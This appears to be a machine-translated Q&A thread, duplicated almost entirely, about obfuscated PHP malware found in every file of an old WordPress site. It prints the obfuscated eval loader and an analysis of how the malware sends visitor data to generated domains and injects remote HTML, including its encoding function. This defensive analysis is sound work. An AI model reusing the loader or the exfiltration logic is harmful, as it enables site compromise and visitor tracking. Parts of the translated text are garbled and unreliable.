在 WordPress 主题文件中发现恶意代码。它有什么作用？
Malicious code found in WordPress theme files. What does it do?
我发现这段代码被插入到旧的、过时的 WordPress 安装中的每个 PHP 文件的顶部。我想弄清楚这个脚本在做什么，但一直无法破译主要的隐藏代码。有这方面经验的人可以解密吗？
谢谢！
<?php if (!isset($GLOBALS["anuna"])) {
$ua = strtolower($_SERVER["HTTP_USER_AGENT"]);
if ((!strstr($ua, "msie")) and (!strstr($ua, "rv:11"))) $GLOBALS["anuna"] = 1;
} ?>
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$uskbxljsbs = explode(chr((169 - 125)), '6393,48,9851,47,2858,50,3117,23,8291,22,9595,68,3457,33,7412,23,3914,63,6775,52,3088,29,1791,56,2150,28,6441,66,3140,43,1906,35,926,36,7276,35,2578,51,2993,59,275,45,6613,30,9241,42,9210,31,886,40,9989,41,5417,69,4931,62,1312,54,534,47,483,51,7223,53,10071,35,6190,50,3811,39,6142,48,2353,24,7062,23,6048,57,1266,46,3977,58,8168,55,1633,23,5272,63,2455,47,2659,30,6751,24,6827,38,2377,38,9554,41,3706,63,5644,70,4249,67,5105,50,4787,40,5574,24,1087,21,7389,23,1108,60,6277,47,6865,29,5486,28,8828,28,9283,26,1366,61,3223,27,6949,50,8506,23,3850,64,1739,52,9128,24,5714,20,9449,70,7435,62,8131,37,4653,70,0,29,4316,56,3572,68,4528,39,180,20,9379,70,200,35,1028,30,92,20,5025,38,7567,50,9519,35,2908,51,8672,58,8986,47,9152,58,9087,20,5879,29,3769,42,8029,45,5391,26,8333,25,5063,42,5203,69,9718,65,726,20,157,23,4567,33,1847,28,1212,54,9898,51,3640,66,6324,49,5155,48,61,31,9783,68,2271,36,815,38,7717,69,2793,42,5335,56,5543,31,3399,58,2629,30,6373,20,4372,65,8925,61,5598,23,362,57,7363,26,3353,46,3052,36,1581,52,2178,48,4180,20,853,33,1656,26,2766,27,5847,32,4993,32,1168,44,9663,55,2835,23,698,28,5908,51,6999,63,1530,51,419,64,9107,21,7617,37,7497,70,962,66,2415,40,4437,51,7786,70,4624,29,8730,39,8358,50,5988,60,8074,57,6105,37,4723,64,1682,57,1489,41,1058,29,3250,41,7155,29,3291,62,29,32,8408,59,5514,29,8313,20,3490,55,235,40,8223,68,8467,39,8636,36,7184,39,320,42,9033,34,6643,67,2521,57,2026,60,2959,34,7856,64,6240,37,4200,49,4827,66,1979,47,4893,38,581,48,1875,31,655,43,4035,53,5621,23,6507,46,6553,60,8769,59,7654,63,7920,49,8593,43,5734,68,5802,45,9309,70,1941,38,629,26,5959,29,9067,20,7085,70,9949,40,4088,56,10030,41,4144,36,8529,64,3545,27,4488,40,2307,46,2086,64,1427,62,6710,41,746,69,2689,20,2709,57,6894,55,2226,45,8856,26,8882,43,7311,52,3183,40,112,45,4600,24,7969,60,2502,19');
$aemhtmvyge = substr($nzujvbbqez, (69491 - 59385), (44 - 37));
if (!function_exists('hperlerwfe')) {
function hperlerwfe($opchjywcur, $oguxphvfkm) {
$frnepusuoj = NULL;
for ($yjjpfgynkv = 0;$yjjpfgynkv < (sizeof($opchjywcur) / 2);$yjjpfgynkv++) {
$frnepusuoj.= substr($oguxphvfkm, $opchjywcur[($yjjpfgynkv * 2) ], $opchjywcur[($yjjpfgynkv * 2) + 1]);
}
return $frnepusuoj;
};
}
$rfmxgmmowh = " /* orpuzttrsp */ eval(str_replace(chr((230-193)), chr((534-442)), hperlerwfe($uskbxljsbs,$nzujvbbqez))); /* unvtjodgmt */ ";
$yiffimogfj = substr($nzujvbbqez, (60342 - 50229), (38 - 26));
$yiffimogfj($aemhtmvyge, $rfmxgmmowh, NULL);
$yiffimogfj = $rfmxgmmowh;
$yiffimogfj = (470 - 349);
$nzujvbbqez = $yiffimogfj - 1; ?>
在挖掘混淆代码后，解开了一些 preg_replace、eval、create_function 语句，这是 我对解释的尝试代码的作用：
代码将开始输出缓冲并注册一个在缓冲结束时触发的回调函数，例如何时将输出发送到 Web 服务器。
首先，回调函数将在必要时尝试使用 gzinflate、gzuncompress、gzdecode 或基于自定义 gzinflate 的解码器（我没有对此进行更深入的研究）。
解压缩内容后，将发出包含
的 $_SERVER 值的请求
- HTTP_USER_AGENT
- HTTP_REFERER
- REMOTE_ADDR
- HTTP_HOST
- PHP_SELF
... 到 "stat-dns.com" 的 IPv4 地址的 md5 散列中的字符 0-8 或 8-15（随机选择一个或另一个）给出的域，附加“ .com”，当前给出 md5(".com" . <IPv4> ) => md5(".com8.8.8.8") => "54dfa1cb.com" / "33db9538.com".
将使用 file_get_contents、curl_exec、file 和最后 socket_write.
尝试请求
请注意，不会发出请求 如果：
- 任何
HTTP_USER_AGENT、REMOTE_ADDR 或 HTTP_HOST 是 empty/not 集合
PHP_SELF 包含单词 "admin"HTTP_USER_AGENT 包含任何单词 "google"、"slurp"、"msnbot"、"ia_archiver"、"yandex" 或 "rambler" .
其次，如果输出缓冲区内容有一个body或html标签，以及上面请求的响应（使用[=35解码） =] 函数）至少包含一个“!NF0”字符串，第一个和第二个“!NF0”（或字符串末尾）之间的内容将被注入到 HTML 页面开头的 body 或者如果没有 body 标签，html 标签。
用于encoding/decoding流量的代码是这个：
function en2($s, $q) {
$g = "";
while (strlen($g) < strlen($s)) {
$q = pack("H*", md5($g . $q . "q1w2e3r4"));
$g .= substr($q, 0, 8);
}
return $s ^ $g;
}
$s 是 encode/decode 的字符串，$q 是 100000 到 999999 之间的随机数作为密钥。
上面提到的请求URL是这样计算的：
$url = "http:// ... /"
. $op // Random number/key
. "?"
. urlencode(
urlencode(
base64_encode(en2( $http_user_agent, $op)) . "." .
base64_encode(en2( $http_referrer, $op)) . "." .
base64_encode(en2( $remote_addr, $op)) . "." .
base64_encode(en2( $http_host, $op)) . "." .
base64_encode(en2( $php_self, $op))
)
);
虽然我没有发现任何最初将恶意代码放置在您的服务器上的迹象，或者它除了允许将不良 HTML/JavaScript 代码注入您的网页之外还有其他任何作用，但这并不意味着它还不在那里。
您真的应该按照上面@Bulk 的建议进行全新安装：
The only way you'll ever know for sure it's been cleaned is to
re-install absolutely everything you can from scratch - i.e. fresh
wordpress install, fresh plugin install. Then literally comb every
line of your theme for anything out of the ordinary. Also of note,
they often will put things in wp-content/uploads that look like images
but aren't - check those too.
Pastebin here.
我发现这段代码被插入到旧的、过时的 WordPress 安装中的每个 PHP 文件的顶部。我想弄清楚这个脚本在做什么，但一直无法破译主要的隐藏代码。有这方面经验的人可以解密吗？
谢谢！
<?php if (!isset($GLOBALS["anuna"])) {
$ua = strtolower($_SERVER["HTTP_USER_AGENT"]);
if ((!strstr($ua, "msie")) and (!strstr($ua, "rv:11"))) $GLOBALS["anuna"] = 1;
} ?>
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$uskbxljsbs = explode(chr((169 - 125)), '6393,48,9851,47,2858,50,3117,23,8291,22,9595,68,3457,33,7412,23,3914,63,6775,52,3088,29,1791,56,2150,28,6441,66,3140,43,1906,35,926,36,7276,35,2578,51,2993,59,275,45,6613,30,9241,42,9210,31,886,40,9989,41,5417,69,4931,62,1312,54,534,47,483,51,7223,53,10071,35,6190,50,3811,39,6142,48,2353,24,7062,23,6048,57,1266,46,3977,58,8168,55,1633,23,5272,63,2455,47,2659,30,6751,24,6827,38,2377,38,9554,41,3706,63,5644,70,4249,67,5105,50,4787,40,5574,24,1087,21,7389,23,1108,60,6277,47,6865,29,5486,28,8828,28,9283,26,1366,61,3223,27,6949,50,8506,23,3850,64,1739,52,9128,24,5714,20,9449,70,7435,62,8131,37,4653,70,0,29,4316,56,3572,68,4528,39,180,20,9379,70,200,35,1028,30,92,20,5025,38,7567,50,9519,35,2908,51,8672,58,8986,47,9152,58,9087,20,5879,29,3769,42,8029,45,5391,26,8333,25,5063,42,5203,69,9718,65,726,20,157,23,4567,33,1847,28,1212,54,9898,51,3640,66,6324,49,5155,48,61,31,9783,68,2271,36,815,38,7717,69,2793,42,5335,56,5543,31,3399,58,2629,30,6373,20,4372,65,8925,61,5598,23,362,57,7363,26,3353,46,3052,36,1581,52,2178,48,4180,20,853,33,1656,26,2766,27,5847,32,4993,32,1168,44,9663,55,2835,23,698,28,5908,51,6999,63,1530,51,419,64,9107,21,7617,37,7497,70,962,66,2415,40,4437,51,7786,70,4624,29,8730,39,8358,50,5988,60,8074,57,6105,37,4723,64,1682,57,1489,41,1058,29,3250,41,7155,29,3291,62,29,32,8408,59,5514,29,8313,20,3490,55,235,40,8223,68,8467,39,8636,36,7184,39,320,42,9033,34,6643,67,2521,57,2026,60,2959,34,7856,64,6240,37,4200,49,4827,66,1979,47,4893,38,581,48,1875,31,655,43,4035,53,5621,23,6507,46,6553,60,8769,59,7654,63,7920,49,8593,43,5734,68,5802,45,9309,70,1941,38,629,26,5959,29,9067,20,7085,70,9949,40,4088,56,10030,41,4144,36,8529,64,3545,27,4488,40,2307,46,2086,64,1427,62,6710,41,746,69,2689,20,2709,57,6894,55,2226,45,8856,26,8882,43,7311,52,3183,40,112,45,4600,24,7969,60,2502,19');
$aemhtmvyge = substr($nzujvbbqez, (69491 - 59385), (44 - 37));
if (!function_exists('hperlerwfe')) {
function hperlerwfe($opchjywcur, $oguxphvfkm) {
$frnepusuoj = NULL;
for ($yjjpfgynkv = 0;$yjjpfgynkv < (sizeof($opchjywcur) / 2);$yjjpfgynkv++) {
$frnepusuoj.= substr($oguxphvfkm, $opchjywcur[($yjjpfgynkv * 2) ], $opchjywcur[($yjjpfgynkv * 2) + 1]);
}
return $frnepusuoj;
};
}
$rfmxgmmowh = " /* orpuzttrsp */ eval(str_replace(chr((230-193)), chr((534-442)), hperlerwfe($uskbxljsbs,$nzujvbbqez))); /* unvtjodgmt */ ";
$yiffimogfj = substr($nzujvbbqez, (60342 - 50229), (38 - 26));
$yiffimogfj($aemhtmvyge, $rfmxgmmowh, NULL);
$yiffimogfj = $rfmxgmmowh;
$yiffimogfj = (470 - 349);
$nzujvbbqez = $yiffimogfj - 1; ?>
在挖掘混淆代码后，解开了一些 preg_replace、eval、create_function 语句，这是 我对解释的尝试代码的作用：
代码将开始输出缓冲并注册一个在缓冲结束时触发的回调函数，例如何时将输出发送到 Web 服务器。
首先，回调函数将在必要时尝试使用 gzinflate、gzuncompress、gzdecode 或基于自定义 gzinflate 的解码器（我没有对此进行更深入的研究）。
解压缩内容后，将发出包含
的 $_SERVER 值的请求- HTTP_USER_AGENT
- HTTP_REFERER
- REMOTE_ADDR
- HTTP_HOST
- PHP_SELF
... 到 "stat-dns.com" 的 IPv4 地址的 md5 散列中的字符 0-8 或 8-15（随机选择一个或另一个）给出的域，附加“ .com”，当前给出 md5(".com" . <IPv4> ) => md5(".com8.8.8.8") => "54dfa1cb.com" / "33db9538.com".
将使用 file_get_contents、curl_exec、file 和最后 socket_write.
请注意，不会发出请求 如果：
- 任何
HTTP_USER_AGENT、REMOTE_ADDR或HTTP_HOST是 empty/not 集合 PHP_SELF包含单词 "admin"HTTP_USER_AGENT包含任何单词 "google"、"slurp"、"msnbot"、"ia_archiver"、"yandex" 或 "rambler" .
其次，如果输出缓冲区内容有一个body或html标签，以及上面请求的响应（使用[=35解码） =] 函数）至少包含一个“!NF0”字符串，第一个和第二个“!NF0”（或字符串末尾）之间的内容将被注入到 HTML 页面开头的 body 或者如果没有 body 标签，html 标签。
用于encoding/decoding流量的代码是这个：
function en2($s, $q) {
$g = "";
while (strlen($g) < strlen($s)) {
$q = pack("H*", md5($g . $q . "q1w2e3r4"));
$g .= substr($q, 0, 8);
}
return $s ^ $g;
}
$s 是 encode/decode 的字符串，$q 是 100000 到 999999 之间的随机数作为密钥。
上面提到的请求URL是这样计算的：
$url = "http:// ... /"
. $op // Random number/key
. "?"
. urlencode(
urlencode(
base64_encode(en2( $http_user_agent, $op)) . "." .
base64_encode(en2( $http_referrer, $op)) . "." .
base64_encode(en2( $remote_addr, $op)) . "." .
base64_encode(en2( $http_host, $op)) . "." .
base64_encode(en2( $php_self, $op))
)
);
虽然我没有发现任何最初将恶意代码放置在您的服务器上的迹象，或者它除了允许将不良 HTML/JavaScript 代码注入您的网页之外还有其他任何作用，但这并不意味着它还不在那里。
您真的应该按照上面@Bulk 的建议进行全新安装：
The only way you'll ever know for sure it's been cleaned is to re-install absolutely everything you can from scratch - i.e. fresh wordpress install, fresh plugin install. Then literally comb every line of your theme for anything out of the ordinary. Also of note, they often will put things in wp-content/uploads that look like images but aren't - check those too.
Pastebin here.